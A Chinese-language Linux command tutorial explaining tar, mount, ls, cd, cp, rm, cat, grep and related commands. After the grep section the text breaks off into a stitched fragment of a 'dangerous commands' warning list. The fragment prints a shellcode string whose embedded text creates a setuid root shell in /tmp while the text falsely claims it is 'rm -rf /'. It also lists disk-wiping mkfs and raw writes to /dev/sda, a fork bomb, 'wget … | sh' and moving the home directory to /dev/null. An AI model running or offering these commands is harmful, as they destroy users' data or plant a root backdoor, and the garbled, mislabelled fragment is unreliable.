linux命令

linux命令

linux命令是對Linux系統進行管理的命令。對於Linux系統來說,無論是中央處理器、內存、磁碟驅動器、鍵盤、滑鼠,還是用戶等都是文件,Linux系統管理的命令是它正常運行的核心,與之前的DOS命令類似。linux命令在系統中有兩種類型:內置Shell命令和Linux命令。

操作命令


首先介紹一個名詞“控制台(console)”,它就是我們通常見到的使用字元操作界面的人機介面,例如dos。我們說控制台命令,就是指通過字元界面輸入的可以操作系統的命令,例如dos命令就是控制台命令。我們現在要了解的是基於Linux操作系統的基本控制台命令。有一點一定要注意,和dos命令不同的是,Linux的命令(也包括文件名等等)對大小寫是敏感的,也就是說,如果你輸入的命令大小寫不對的話,系統是不會做出你期望的響應的。

模式切換


1、由圖形到字元#logout或init 3
2、由字元到圖形界面init 5
3、退出consolelogout或exit或ctrl+d
4、註銷Ctrl + Alt + Backspace
5、關機#poweroff或init 0或shutdown -h now或 halt -p
6、重啟#reboot或init 6或shutdown -r now

獲得幫助


#help提供內部命令的幫助#man或info提供外部命令的幫助。
如果你的英文足夠好,那完全可以不靠任何人就精通linux,只要你會用man。Man實際上就是查看指令用法的help,學習任何一種UNIX類的操作系統最重要的就是學會使用man這個輔助命令。man是manual(手冊)的縮寫字,它的說明非常的詳細,但是因為它都是英文,看起來非常的頭痛。建議大家需要的時候再去看man,平常嘛,記得一些基本用法就可以了。

命令


tar與gzip
tar命令
tar [-cxtzjvfpPN] 文件與目錄....
參數:
-c :建立一個壓縮文件的參數指令(create 的意思);
-x :解開一個壓縮文件的參數指令!
-t :查看 tarfile 裡面的文件!
特別注意,在參數的下達中, c/x/t 僅能存在一個!不可同時存在!
因為不可能同時壓縮與解壓縮。
-z :是否同時具有 gzip 的屬性?亦即是否需要用 gzip 壓縮?
-j :是否同時具有 bzip2 的屬性?亦即是否需要用 bzip2 壓縮?
-v :壓縮的過程中顯示文件!這個常用,但不建議用在背景執行過程!
-f :使用檔名,請留意,在 f 之後要立即接檔名喔!不要再加參數!
例如使用『 tar -zcvfP tfile sfile』就是錯誤的寫法,要寫成
『 tar -zcvPf tfile sfile』才對喔!
-p :使用原文件的原來屬性(屬性不會依據使用者而變)
-P :可以使用絕對路徑來壓縮!
-N :比後面接的日期(yyyy/mm/dd)還要新的才會被打包進新建的文件中!
--exclude FILE:在壓縮的過程中,不要將FILE 打包!
#tar -cvf [文件名.tar] [文件……目錄]
查看包文件的內容
#tar -tf 文件名.tar
向已有的包中添加新文件
#tar -rvf [文件名.tar] [新文件……]
釋放包文件#tar -xvf 文件名.tar
gz壓縮文件#gzip 文件名
解壓縮文件
#gzip -d 文件名.gz 或#gunzip 文件名.gz
創建壓縮包
#tar -zcvf [文件名.tar.gz] [文件1 文件2 …]
查看壓縮包中的內容
#tar -ztf 文件名.tar.gz
釋放壓縮包
#tar -zxvf 文件名.tar.gz
mount,umount
mount是Linux下的一個命令,它可以將分區作為Linux的一個“文件”掛接到Linux的一個空文件夾下,從而將分區和/mnt這個目錄聯繫起來,因此我們只要訪問這個文件夾,就相當於訪問該分區了。目前mount已經不僅僅局限於Linux了,在Windows系統下的應用也越來越廣了,多用在虛擬光碟機類軟體上,比如Clone CD,Daemon tool,WinMount等。
注意事項
1、必須將光碟、U盤等放入驅動器在實施掛載操作
2、不能在掛載目錄下實施掛載操作,至少在上一級
3、不能在同一目錄下掛載兩個以上的文件系統
4、Linux預留掛載目錄為/mnt
5、不能在掛載目錄下實施卸載操作
6、掛載目錄必須事先存在
掛載光碟
#mount -t iso9660 /dev/cdrom /mnt/cdrom
卸載光碟
#umount /mnt/cdrom或#umount /dev/cdrom或#cd;eject
掛載U盤
#mount /dev/sdb1 /mnt/usb
掛載iso鏡像
#mount -t iso9660 -o loop iso鏡像文件/mnt/cdrom
基礎命令
* LINUX圖形界面和命令行界面的切換
進入Ubuntu桌面環境后,可以使用鍵盤上的“Ctrl+Alt+F1~F6“組合鍵來切換不同的tty界面,Linux默認提供了6個命令行界面(F1-F6),比如”Ctrl+Alt+F1″就是切換到tty1:
1
2 Ubuntu 12.04.1 LTS qingsword tty1
4
5 qingsword login: root
6 Password:
在命令行模式下,想要切換回圖形界面可以使用組合鍵”Ctrl+Alt+F7“。另外,如果不是從圖形界面切換到tty模式,而是系統啟動時候直接進入的命令行模式,在登陸后可以使用”startx”來啟動圖形界面。
PS:在圖形界面下使用”Ctrl+Alt+T“可以快速啟動Linux的命令行終端。
* 列出目錄中的文件(LS)
在Linux命令行終端中使用的最多的命令就是這個ls,它可以幫助我們列出當前目錄下都有哪些文件,下面是一些實例:
1
5 [qingsword@localhost ~]$ pwd
6 /home/qingsword
8
9 [qingsword@localhost ~]$ cd /
11
12 [qingsword@localhost /]$ pwd
13 /
15
16 [qingsword@localhost /]$ ls
17 bin dev home lost+found mnt proc sbin srv tmp var
18 boot etc lib media opt root selinux sys usr
20
21 [qingsword@localhost /]$ ll
22 total 78
23 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin
24 dr-xr-xr-x. 5 root root 1024 Aug 8 23:54 boot
25 drwxr-xr-x. 18 root root 3820 Aug 8 17:41 dev
26 drwxr-xr-x. 88 root root 4096 Dec 24 10:39 etc
27 …..…..
29
30 [qingsword@localhost /]$ ll -a
31 total 86
32 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 .
33 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 ..
34 -rw-r–r–. 1 root root 0 Aug 8 17:39 .autofsck
35 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin
36 …..…..
上面為ls常見的用法,下面是一些其他用法:
1
6 [qingsword@localhost /]$ ls -R | more
8
9 [qingsword@localhost /]$ ls -t
11
12 [qingsword@localhost /]$ ls -m
14
15 [qingsword@localhost /]$ ls -S
除此之外ls會顯示不同顏色,下面是這些顏色的含義:
藍色—目錄
綠色—可執行文件
紅色—壓縮文件
淺藍色—鏈接文件
粉紅色—圖片文件
黃色—設備文件
灰色—其他文件
可以切換到/dev目錄下用ls查看一下,會看到大部分為設備文件。
* 目錄切換(CD)
使用cd(Change Directory)命令可以在不同目錄之間切換,下面是一些實例:
1
2 [qingsword@localhost /]$ pwd
3 /
5
6 [qingsword@localhost /]$ cd /dev
7
8 [qingsword@localhost dev]$ pwd
9 /dev
11
12 [qingsword@localhost dev]$ ls
14
15 [qingsword@localhost dev]$ cd -
16 /
18
19 [qingsword@localhost /]$ cd ~
20 [qingsword@localhost ~]$ pwd
21 /home/qingsword
23
24 [qingsword@localhost ~]$ cd ..
25 [qingsword@localhost home]$ pwd
26 /home
* 創建、移動、複製、刪除文件的操作
可以使用下面的命令來創建一個目錄,或者嵌套的目錄:
1
2 [qingsword@localhost ~]$ mkdir qing
3 [qingsword@localhost ~]$ ls
4 qing
6
7 [qingsword@localhost ~]$ mkdir top/sub/sub2
8 mkdir: cannot create directory `top/sub/sub2′: No such file or directory
10
11 [qingsword@localhost ~]$ mkdir -p top/sub/sub2
12 [qingsword@localhost ~]$ ls
13 qing top
15
19 [qingsword@localhost ~]$ ls -R
20 .:
21 qing top
23
24 ./qing:
26
27 ./top:
28 sub
30
31 ./top/sub:
32 sub2
34
35 ./top/sub/sub2:
刪除目錄或者文件:
1
2 [qingsword@localhost ~]$ rm -rf top
創建文本文件:
1
2 [qingsword@localhost ~]$ touch testfile
4
5 [qingsword@localhost ~]$ echo hello>>testfile
7
8 [qingsword@localhost ~]$ more testfile
9 hello
11
12 [qingsword@localhost ~]$ echo My name is QingSword>>testfile
13 [qingsword@localhost ~]$ more testfile
14 hello
15 My name is QingSword
複製文件或文件夾:
1
2 [qingsword@localhost ~]$ mkdir dir1
3 [qingsword@localhost ~]$ mkdir dir2
4 [qingsword@localhost ~]$ ls
5 dir1 dir2 qing testfile
7
8 [qingsword@localhost ~]$ cp testfile dir2
9 [qingsword@localhost ~]$ ls dir2
10 testfile
12
13 [qingsword@localhost ~]$ cp -r dir2 dir1
14 [qingsword@localhost ~]$ ls -R dir1
15 dir1:
16 dir2
18 dir1/dir2:
19 testfile
21
25 [qingsword@localhost ~]$ cp -r dir1 dir2 testfile qing
移動目錄或文件(剪切):
1
2 [qingsword@localhost ~]$ mv dir1 qing
3 [qingsword@localhost ~]$ ls
4 dir2 qing testfile
6 [qingsword@localhost ~]$ mv testfile dir2 qing
7 [qingsword@localhost ~]$ ls
8 qing
9 [qingsword@localhost ~]$
* 重啟和關機
使用下面的命令重啟和關機(這個命令必須使用root用戶才能執行):
1
2 [qingsword@localhost ~]$ su
3 Password:
5
6 [qingsword@localhost ~]# shutdown -h 1
8
9 [qingsword@localhost ~]# shutdown -c
11
12 [qingsword@localhost ~]# shutdown -h now
14
15 [qingsword@localhost ~]# init 0
16 [qingsword@localhost ~]# poweroff
18
19 [qingsword@localhost ~]# reboot
20 [qingsword@localhost ~]# init 6
uniq
–去除重複行
下面的示例演示如何grep的唯一相關的交易,削減不必要的信息,並獲得計數。
jfields$ cat order.out.log | grep "\(Kindle\|Hardcover\)" | cut -d"," -f3 | sort | uniq -c
1 Joy of Clojure
2 Patterns of Enterprise Architecture
jfields$ cat order.out.log | grep "\(Kindle\|Hardcover\)" | cut -d"," -f3 | sort | uniq
Joy of Clojure
Patterns of Enterprise Architecture
命令ls
ls [list]
這個命令就相當於dos下的dir命令一樣,這也是Linux控制台命令中最為重要幾個命令之一。Linux上的文件以“.”開頭的文件被系統視為隱藏文件,僅用ls命令是看不到他們的,而用ls -a除了顯示 一般文件名外,連隱藏文件也會顯示出來。
ls -l(這個參數是字母L的小寫,不是數字1)【直接輸入ll 等價於 ls -l的效果】
這個命令可以使用長格式顯示文件內容,如果需要察看更詳細的文件資料,就要用到ls -l這個指令。例如我在某個目錄下鍵入ls -l可能會顯示如下信息(最上面兩行是我自己加的):
位置1 2 3 4 5 6 7
文件屬性文件數 擁有者 所屬者 group 文件大小 建檔日期 文件名
drwx------ 2 Guest users 1024 Nov 21 21:05 Mail
-rwx--x--x 1 root root 89080 Nov 7 22:41 tar*
-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*
lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat->gzip
-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*
-rwsr-x--- 1 root bin 9853 Aug 15 5:46 su*
下面,我為大家解釋一下這些顯示內容的意義。
第一個欄位,表示文件的屬性。Linux的文件基本上分為三個屬性:可讀(r),可寫(w),可執行(x)。但是這裡有十個格子可以添(具體程序實現時,實際上是十個bit位)。第一個小格是特殊表示格,表示目錄或連結文件等等,d表示目錄,例如drwx------;l表示連結文件,如lrwxrwxrwx;如果是以一橫“-”表示,則表示這是文件。其餘剩下的格子就以每3格為一個單位。因為Linux是多用戶多任務系統,所以一個文件可能同時被許多人使用,所以我們一定要設好每個文件的許可權,其文件的許可權位置排列順序是(以-rwxr-xr-x為例):
rwx(Owner)r-x(Group)r-x(Other)
這個例子表示的許可權是:使用者自己可讀,可寫,可執行;同一組的用戶可讀,不可寫,可執行;其它用戶可讀,不可寫,可執行。另外,有一些程序屬性的執行部分不是X,而是S,這表示執行這個程序的使用者,臨時可以有和擁有者一樣權力的身份來執行該程序。一般出現在系統管理之類的指令或程序,讓使用者執行時,擁有root身份。
第二個欄位,表示文件個數。如果是文件的話,那這個數目自然是1了,如果是空目錄的話,那它的數目就是2,非空目錄等於該目錄中的目錄個數加上2了。
第三個欄位,表示該文件或目錄的擁有者。若使用者目前處於自己的Home,那這一欄大概都是它的賬號名稱。
第四個欄位,表示所屬的組(group)。每一個使用者都可以擁有一個以上的組,不過大部分的使用者應該都只屬於一個組,只有當系統管理員希望給予某使用者特殊許可權時,才可能會給他另一個組。
第五欄位,表示文件大小。文件大小用byte來表示,而空目錄一般都是1024byte,你當然可以用其它參數使文件顯示的單位不同,如使用ls –k就是用kb來顯示一個文件的大小單位,不過一般我們還是以byte為主。
第六個欄位,表示創建日期。以“月,日,時間”的格式表示,如Aug 15 5:46表示8月15日早上5:46分。
第七個欄位,表示文件名。我們可以用ls –a顯示隱藏的文件名。
ls –F(注意,是大寫的F)
使用這個參數表示在文件的後面多添加表示文件類型的符號,例如*表示可執行,/表示目錄,@表示連結文件,這都是因為使用了-F這個參數。但是現在基本上所有的Linux發行版本的ls都已經內建了-F參數,也就是說,不用輸入這個參數,我們也能看到各種分辨符號。
cd
cd [change directory]
這個命令是用來進出目錄的,它的使用方法和在dos下差不多,但要注意以下兩點:首先,和dos不同的是Linux的目錄對大小寫是敏感的,如果大小寫沒寫對,cd操作不會成功;其次,cd如果直接輸入,cd後面不加任何東西,會回到使用者自己的Home Directory。假設如果是root,則回到/root,與輸入cd ~是一樣的效果。

建新目錄


mkdir、rmdir
mkdir[make directory] rmdir [remove directory]
mkdir命令用來建立新的目錄,
名稱:mkdir
使用許可權:於目前目錄有適當許可權的所有使用者
使用方式:mkdir[-p] dirName
說明:建立名稱為 dirName 之子目錄。
參數:-p 確保目錄名稱存在,不存在的就建一個。
範例:
在工作目錄下,建立一個名為 AAA 的子目錄 :
mkdirAAA
在工作目錄下的 BBB 目錄中,建立一個名為Test的子目錄。若 BBB目錄原本不存在,則建立一個。(註:本例若不加 -p,且原本 BBB目錄不存在,則產生錯誤。)
mkdir-p BBB/Test
rmdir 用來刪除已建立的目錄,
名稱:rmdir
使用許可權:於目前目錄有適當許可權的所有使用者
使用方式: rmdir [-p] dirName
說明:刪除空的目錄。
參數: -p 是當子目錄被刪除后使它也成為空目錄的話,則順便一併刪除。
範例:
將工作目錄下,名為 AAA 的子目錄刪除 :
rmdir AAA
在工作目錄下的 BBB 目錄中,刪除名為 Test 的子目錄。若 Test 刪除后,BBB目錄成為空目錄,則 BBB 亦予刪除。
rmdir -p BBB/Test

cp

cp[copy]
這個命令相當於dos下面的copy命令,具體用法是:cp –r源文件(source) 目的文件(target)
參數r是指連同源文件中的子目錄一同拷貝。熟悉dos的讀者用起這個命令來會覺得更方便,畢竟比在dos下面要少敲兩下鍵盤。
../ 和 ./ 代表的 是上級目錄以及當前目錄。
這樣運用這兩個命令來完成兩種複製方法。
第一種:處在當前目錄複製當前目錄下文件到別的目錄。
cp_文件名稱_別的文件目錄路徑。"_"是空格
舉個例子 在 orz文件夾下有兩個子文件夾a和b,a中有文件x.c,b中無文件。
此時我們在a文件夾中命令如下:
cp x.c ../b/
第二種:處在當前文件夾下複製另外文件夾下的文件到當前文件夾下。
cp_路徑/文件名稱_./
例子條件同上個例子,命令如下:
cp ../a/x.c ./

rm

rm [remove]
這個命令是用來刪除文件的,和dos下面的rm(刪除一個空目錄)是有區別的,大家千萬要注意。rm命令常用的參數有三個: -i,-r,-f。
比如我現在要刪除一個名字為test的一個文件:rm –i test
系統會詢問我們:“rm:remove ‘test’?y”,敲了回車以後,這個文件才會真的被刪除。之所以要這樣做,是因為linux不象dos那樣有undelete的命令,或者是可以用pctool等工具將刪除過的文件救回來,linux中刪除過的文件是救不回來的,所以使用這個參數在刪除前讓你再確定一遍,是很有必要的。
rm –r目錄名:這個操作可以連同這個目錄下面的子目錄都刪除,功能上和rmdir相似。
rm –f 文件名(目錄名):這個操作可以進行強制刪除。

mv

mv[move]
這個命令的功能是移動目錄或文件,引申的功能是給目錄或文件重命名。它的用法同dos下面的move基本相同,這裡不再多講。當使用該命令來移動目錄時,他會連同該目錄下面的子目錄也一同移走。如果你想給一個文件或目錄重命名時可以用以下方法:mv 原文件名(目錄)新的文件名(目錄)。

dudf

du [disk usage]
du命令可以顯示目前的目錄所佔的磁碟空間,df命令可以顯示目前磁碟剩餘的磁碟空間。如果du命令不加任何參數,那麼返回的是整個磁碟的使用情況,如果後面加了目錄的話,就是這個目錄在磁碟上的使用情況(這個功能可是dos沒有的呦)。不過我一般不喜歡用du,因為它給出的信息實在是太多了,我看不過來,而df這個命令我是最常用的,因為磁碟上還剩多少空間對我來說是很重要的。
語法:df [選項]
說明:linux中df命令可顯示所有文件系統對i節點和磁碟塊的使用情況。
該命令各個選項的含義如下:
-a 顯示所有文件系統的磁碟使用情況,包括0塊(block)的文件系統,如/proc文件系統。
-k 以k位元組為單位顯示。
-h:以容易理解的格式輸出文件系統大小,例如124KB、345MB、46GB。
-i 顯示i節點信息,而不是磁碟塊。
-t 顯示各指定類型的文件系統的磁碟空間使用情況。
-x 列出不是某一指定類型文件系統的磁碟空間使用情況(與t選項相反)。
-T 顯示文件系統類型。
功能:檢查文件系統的磁碟空間佔用情況。可以利用該命令來獲取硬碟被佔用了多少空間,目前還剩下多少空間等信息的!

cat

cat[concatenate]
這個命令是linux中非常重要的一個命令,它的功能是顯示或連結一般的ascii文本文件。cat是concatenate的簡寫,類似於dos下面的type命令。它的用法如下:
cat text 顯示text這個文件;
cat file1 file2 依順序顯示file1,file2的內容;
cat "file1" "file2">file3 把file1,file2的內容結合起來,再“重定向(>)”到file3文件中。
“〉”是一個非常有趣的符號,是往右重定向的意思,就是把左邊的結果當成是輸入,然後輸入到file3這個文件中。這裡要注意一點是file3是在重定向以前還未存在的文件,如果file3是已經存在的文件,那麼它本身的內容被覆蓋,而變成file1+file2的內容。如果〉左邊沒有文件的名稱,而右邊有文件名,例如:
cat >file1:結果是會“空出一行空白行”,等待你輸入文字,輸入完畢后再按[Ctrl]+[c]或[Ctrl]+[d],就會結束編輯,併產生file1這個文件,而file1的內容就是你剛剛輸入的內容。這個過程和dos裡面的copy con file1的結果是一樣的。
另外,如果你使用如下的指令:
cat file1>>file2:這將變成將file1的文件內容“附加”到file2的文件後面,而file2的內容依然存在,這種重定向符〉〉比〉常用,可以多多利用。

文件指令


more,less
這是兩個顯示一般文本文件的指令。如果一個文本文件太長了超過一個屏幕的畫面,用cat來看實在是不理想,就可以試試more和less兩個指令。More指令可以使超過一頁的文件臨時停留在屏幕,等你按任何的一個鍵以後,才繼續顯示。而less除了有more的功能以外,還可以用方向鍵往上或往下的滾動文件,所以你隨意瀏覽,閱讀文章時,less是個非常好的選擇。當more或less文件不存在時,那麼該文件就會自動生個空文件,所以more和less也可以作為創建文件的用法。
more 參數如下:
+num 從第num行開始顯示;
-num 定義屏幕大小,為num行;
+/pattern 從pattern 前兩行開始顯示;
-c 從頂部清屏然後顯示;
-d 提示Press space to continue, 'q' to quit.(按空 鍵繼續,按q鍵退出),禁用響鈴功能;
-l 忽略Ctrl+l (換頁)字元;
-p 通過清除窗口而不是滾屏來對文件進行換頁。和-c參數有點相似;
-s 把連續的多個空行顯示為一行;
-u 把文件內容中的下劃線去掉
less 常用參數
de>-c 從頂部(從上到下)刷新屏幕,並顯示文件內容。而不是通過底部滾動完成刷新;
-f 強制打開文件,二進位文件顯示時,不提示警告;
-i 搜索時忽略大小寫;除非搜索串中包含大寫字母;
-I 搜索時忽略大小寫,除非搜索串中包含小寫字母;
-m 顯示讀取文件的百分比;
-M 顯法讀取文件的百分比、行號及總行數;
-N 在每行前輸出行號;
-p pattern 搜索pattern;比如在/etc/profile搜索單詞MAIL,就用 less -p MAIL /etc/profile
-s 把連續多個空白行作為一個空白行顯示;
-Q 在終端下不響鈴;de>
比如:我們在顯示/etc/profile的內容時,讓其顯示行號;
de>[root@localhost ~]# less -N /etc/profilede>
pwd
pwd [print working directory]
pwd [--help][--version]
說明:執行pwd指令可立刻得知您目前所在的工作目錄的絕對路徑名稱。

清除屏幕


clear
這個命令是用來清除屏幕的,它不需要任何參數,和dos下面的cls具有相同的功能,如果你覺得屏幕太紊亂,就可以使用它清除屏幕上的信息。

ln

ln[link]
這是linux中又一個非常重要命令,請大家一定要熟悉。它的功能是為某一個文件在另外一個位置建立一個不同的鏈接,這個命令最常用的參數是-s,具體用法是:ln –s源文件目標文件。
當我們需要在不同的目錄,用到相同的文件時,我們不需要在每一個需要的目錄下都放一個必須相同的文件,我們只要在某個固定的目錄,放上該文件,然後在其它的目錄下用ln命令鏈接(link)它就可以,不必重複的佔用磁碟空間。例如:ln –s /bin/less /usr/local/bin/less
-s 是代號(symbolic)的意思。
這裡有兩點要注意:第一,ln命令會保持每一處鏈接文件的同步性,也就是說,不論你改動了哪一處,其它的文件都會發生相同的變化;第二,ln的鏈接有軟鏈接和硬鏈接兩種,軟鏈接就是ln –s ** **,它只會在你選定的位置上生成一個文件的鏡像,不會佔用磁碟空間,硬鏈接ln ** **,沒有參數-s, 它會在你選定的位置上生成一個和源文件大小相同的文件,無論是軟鏈接還是硬鏈接,文件都保持同步變化。
如果你用ls察看一個目錄時,發現有的文件後面有一個@的符號,那就是一個用ln命令生成的文件,用ls –l命令去察看,就可以看到顯示的link的路徑了。

grep

用於查找文件中符合字元串的那行。
e.g. grep -nr "network_ssl" ./ [查找當前文件夾下所有文件內容,列出包含有 network_ssl該字串的行,並顯示行號]
參數說明: -a :將 binary 文件以 text 文件的方式搜尋數據
-c :計算找到 '搜尋字元串' 的次數
-i :忽略大小寫的不同,所以大小寫視為相同
-n :順便輸出行號
-v :反向選擇,亦即顯示出沒有 '搜尋字元串' 內容的那一行!
-A NUM:同時輸出匹配行的后NUM行。
-B NUM:同時輸出匹配行的前NUM行。
-C NUM:同時輸出匹配行的前、后各NUM行。
-r :明確要求搜索子目錄:grep -r 或忽略子目錄:grep -d skip 如果有很多 輸出時,您可以通過管道將其轉到’less’上閱讀:$ grep magic /usr/src/Linux/Documentation
= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″
“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″
“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″
“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″
“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″
“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″
“x6ex2fx73x68x00x2dx63x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
沒看懂?呵呵,其實就是16進位的[rm -rf \]
3. Code:
mkfs.ext3 /dev/sda
抹盤行為無疑是危險的,跟抹脖子差不多
4. Code:
:(){:|:&};:
這不是90后的表情,也不是托蒂射點球前的表情,它可以讓你的系統迅速因為處理大量數據而死機.
5. Code:
any_command > /dev /sda
這個命令將會寫入大量的RAW數據,可以導致數據丟失.
6. Code:
wget http://some_untrusted_source -O- | sh
和Windows一樣,千萬不要亂下載未經證實安全性的源,這年頭Linux和胡蘿蔔一樣,也不會保險.
7. Code:
mv /home/yourhomedirectory/* /dev/null
這條命令無疑會讓系統抓狂,你的主目錄會再也看不到.